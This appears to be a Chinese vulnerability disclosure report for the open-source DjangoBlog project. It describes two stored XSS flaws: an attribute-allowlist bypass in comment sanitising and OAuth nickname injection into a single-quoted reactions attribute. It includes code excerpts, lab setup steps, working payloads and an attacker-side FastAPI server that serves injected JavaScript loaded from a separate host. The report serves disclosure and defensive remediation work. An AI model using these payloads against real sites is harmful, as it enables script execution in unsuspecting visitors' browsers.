DjangoBlog 漏洞报告

软件名称:DjangoBlog

开发者或厂商:liangliangyy

代码仓库:https://github.com/liangliangyy/DjangoBlog

1. 评论净化器属性白名单可绕过导致存储型 XSS

简要描述:评论正文的 bleach 属性白名单对 span、div、pre、code 四个标签不做限制,攻击者可以在评论里写入带 autofocus 与 onfocus 的元素,访客打开文章页时,无需交互即执行脚本。
影响版本:2.1.0.0 ~ commit f1d13badaa
前置条件:目标文章开启评论;攻击者有账号(若站点配置了邮件服务,则可以自助注册;若配置了 OAuth,则可以用第三方账号登录;若均未配置,可以尝试用 CVE-2026-6578 注册账号)。

漏洞成因

comment_markdown 过滤器先渲染 Markdown,再用 sanitize_html 清洗,最后 mark_safe 输出:

# blog/templatetags/blog_tags.py:156-158    commit f1d13badaa
def comment_markdown(content):
    content = CommonMarkdown.get_markdown(content)
    return mark_safe(sanitize_html(content))

sanitize_html 用 bleach 的 attributes 白名单过滤属性,而 ALLOWED_ATTRIBUTES 把 span、div、pre、code 的属性检查交给 class_filter。class_filter 只对 class 做取值检查,其余属性直接返回原值:

# djangoblog/utils.py:248-268    commit f1d13badaa
def class_filter(tag, name, value):
    """自定义class属性过滤器"""
    if name == 'class':
        allowed_classes = [cls for cls in value.split() if cls in ALLOWED_CLASSES]
        return ' '.join(allowed_classes) if allowed_classes else False
    return value

ALLOWED_ATTRIBUTES = {
    'a': ['href', 'title', 'rel'],
    'img': ['src', 'alt', 'title', 'width', 'height'],
    'table': ['border', 'cellpadding', 'cellspacing'],
    'th': ['align', 'valign'],
    'td': ['align', 'valign'],
    'span': class_filter,
    'div': class_filter,
    'pre': class_filter,
    'code': class_filter
}

bleach 把回调的返回值当作属性值保留,于是 span、div、pre、code 上的 onfocus、onmouseover 等事件属性都会通过。评论模板直接输出清洗结果:

{# templates/comments/tags/comment_item_modern.html:68    commit f1d13badaa #}
{{ comment_item.body|comment_markdown }}

要让页面加载即触发,事件属性使用 autofocus 与 onfocus。bleach 会把空属性值视为假值丢弃,因此 autofocus 需要带一个非空值,写成 autofocus="x"。浏览器加载页面时会自动聚焦该元素,onfocus 随即执行。

复现环境搭建

按官方文档从源码构建部署:

git clone https://github.com/liangliangyy/DjangoBlog.git
cd DjangoBlog
git checkout f1d13badaa
cd deploy/docker-compose
docker compose up -d --build
docker compose exec djangoblog python manage.py createsuperuser

本文所用复现机器的监听端口是 192.168.48.130:8080。登录 http://192.168.48.130:8080/admin/,新建一篇文章。

本文采用 GitHub 登录以演示攻击。在 GitHub 新建一个 OAuth App,Homepage URL 填 http://192.168.48.130:8080,Authorization callback URL 填 http://192.168.48.130:8080/oauth/authorize?type=github。然后在后台的 OAuth 配置里新增一条 GitHub 记录,AppKey 与 AppSecret 填入该应用的 Client ID 与 Client Secret。

复现过程

浏览器访问 http://192.168.48.130:8080/oauth/oauthlogin?type=github,在 GitHub 上授权后回到站点,即为登录状态。

打开文章,在评论框粘贴下面的内容并提交:

<div tabindex="0" autofocus="x" onfocus="alert(document.domain)">x</div>

页面刷新后立即弹窗,不需要点击页面:

复制文章地址,用无痕窗口以未登录状态打开,页面同样在加载时执行:

2. OAuth 昵称注入评论表情属性导致存储型 XSS

简要描述:攻击者通过 OAuth 登录时,第三方返回的昵称被直接写进站内用户名,该用户名会进入评论表情的 data-reactions 属性,且属性用单引号包裹,昵称可以闭合属性并注入脚本。其他用户打开文章即被 XSS。
影响版本:commit f1d13badaa
前置条件:目标站点启用了 OAuth 登录;攻击者拥有一个可以修改昵称的第三方账号(例如 Github)。

漏洞成因

OAuth 登录成功后,第三方返回的资料被原样写入 OAuthUser.nickname,以 GitHub 为例:

# oauth/oauthmanager.py:301-306    commit f1d13badaa
datas = json.loads(rsp)
user = OAuthUser()
user.picture = datas['avatar_url']
user.nickname = datas['name']
user.openid = datas['id']
user.type = 'github'

当本站没有该邮箱对应的账号时,authorize 会直接建号并登录,用户名取自上面的昵称:

# oauth/views.py:102-112    commit f1d13badaa
result = get_user_model().objects.get_or_create(email=user.email)
author = result[0]
if result[1]:
    try:
        get_user_model().objects.get(username=user.nickname)
    except ObjectDoesNotExist:
        author.username = user.nickname
    else:
        author.username = "djangoblog" + timezone.now().strftime('%y%m%d%I%M%S')
    author.source = 'authorize'
    author.save()

评论表情在查询点赞用户时,取的是 nickname 或 username:

# comments/models.py:71-76    commit f1d13badaa
reaction_users = CommentReaction.objects.filter(
    comment=self,
    reaction_type=emoji
).select_related('user')[:10]  # 最多显示10个用户

user_names = [r.user.nickname or r.user.username for r in reaction_users]

模板用 to_json 把这份数据序列化进 data-reactions 属性,属性使用单引号,而 json.dumps 不会转义单引号:

# blog/templatetags/blog_tags.py:162-168    commit f1d13badaa
def to_json(value):
    try:
        return mark_safe(json.dumps(value, ensure_ascii=False))
    except (TypeError, ValueError):
        return mark_safe('{}')
{# templates/comments/tags/comment_item_modern.html:76    commit f1d13badaa #}
data-reactions='{{ comment_item|get_reactions_for_user:user|to_json }}'

因此攻击者把昵称设为以单引号开头的 HTML,再给任意评论点一次表情,脚本就会出现在打开该文章页的访客浏览器里。OAuthUser.nickname 的长度上限是 50,昵称里需要放一个足够短的脚本地址。

复现环境搭建

环境与第 1 节相同。攻击者还需要一个返回脚本的 HTTP 服务,/x.js 的内容如下:

from fastapi import FastAPI
from fastapi.responses import PlainTextResponse

JS = """
document.body.innerHTML='<h1 style="color:#c00;font:48px sans-serif">XSS on '+document.domain+'</h1>';
"""

app = FastAPI()


@app.get("/x.js")
async def x_js():
    return PlainTextResponse(JS, media_type="application/javascript")
uvicorn attacker_server:app --host 0.0.0.0 --port 8081

复现过程

攻击者在 GitHub 的个人资料里把 Name 改成下面的字符串:

'><script src=//192.168.48.130:8081/x.js>

这个昵称由攻击者自己控制,长度 41 个字符,没有超过 OAuthUser.nickname 的 50。随后通过 http://192.168.48.130:8080/oauth/oauthlogin?type=github登录博客。第一次用该账号登录时,博客会为攻击者创建账号,并把昵称写进用户名。

新建一篇文章,打开它,发一条评论,再给这条评论点一个表情:

此时这条评论的 data-reactions 属性变成:

data-reactions='{"❤️": {"count": 1, "has_reacted": false, "users": ["'><script src=//192.168.48.130:8081/x.js>"]}}'

刷新页面,或在无痕窗口打开这篇文章,脚本在页面加载时执行: